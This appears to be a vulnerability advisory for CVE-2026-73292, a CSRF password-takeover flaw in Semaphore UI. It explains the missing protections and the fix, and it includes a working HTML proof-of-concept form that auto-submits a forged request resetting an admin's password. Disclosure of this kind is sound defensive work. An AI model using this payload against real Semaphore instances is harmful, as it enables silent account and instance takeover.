high · 7.6CVE-2026-73292Sep 3, 2026

CVE-2026-73292: Semaphore UI CSRF Password Takeover

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Semaphore UI lets an attacker silently reset any user's password, including an admin's, by tricking them into visiting a malicious page, because the password-change endpoint had no CSRF protection…

Packagegithub.com/semaphoreui/semaphore
Ecosystemgo
Affected< 0.0.0-20260707190631-c59c3dc9035b
Fixed in0.0.0-20260707190631-c59c3dc9035b
CVE-2026-73292: Semaphore UI CSRF Password Takeover

The problem

The POST /api/users/<id>/password endpoint in Semaphore UI (up to and including v2.18.20) accepted a new password with no CSRF token, no current-password confirmation, and no SameSite cookie enforcement on the semaphore session cookie.

Because the browser attaches the session cookie automatically on any cross-origin POST, a malicious page hosted anywhere on the internet can forge the request on behalf of any authenticated visitor. Admins are equally affected, making full instance takeover possible without any credential knowledge.

Proof of concept

A working proof-of-concept for CVE-2026-73292 in github.com/semaphoreui/semaphore, with the exact payload below.

html
<html>
<body>
<form id="CSRF_POC"
      action="http://SEMAPHORE_HOST:3000/api/users/1/password"
      enctype="text/plain"
      method="POST">
  <input type="hidden"
         name='{"password": "pwn3d", "project_id": 1}'
         value='//}' />
</form>
<script>document.getElementById("CSRF_POC").submit();</script>
</body>
</html>

The form uses enctype="text/plain" to prevent the browser from percent-encoding the JSON body. The name attribute carries the entire JSON payload and the value is //}, so the raw POST body becomes {"password": "pwn3d", "project_id": 1}=//}, which the Go JSON parser accepts because it stops at the first valid closing brace.

The root cause is twofold: CWE-352 (no CSRF token or SameSite cookie) and CWE-620 (no current-password verification). The patch at commit 2d6e2e3 added mandatory current-password verification on the password-change handler, and commit c59c3dc added Origin/Referer validation on all state-changing requests, closing both attack surfaces simultaneously.

The fix

Upgrade to Semaphore UI v2.18.21 or later (Go module pseudoversion 0.0.0-20260707190631-c59c3dc9035b). The fix enforces current-password confirmation on POST /api/users/<id>/password and validates the Origin/Referer header on all mutating endpoints. If an immediate upgrade is not possible, place Semaphore behind a reverse proxy that enforces a SameSite=Strict or SameSite=Lax cookie policy and restricts cross-origin requests.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research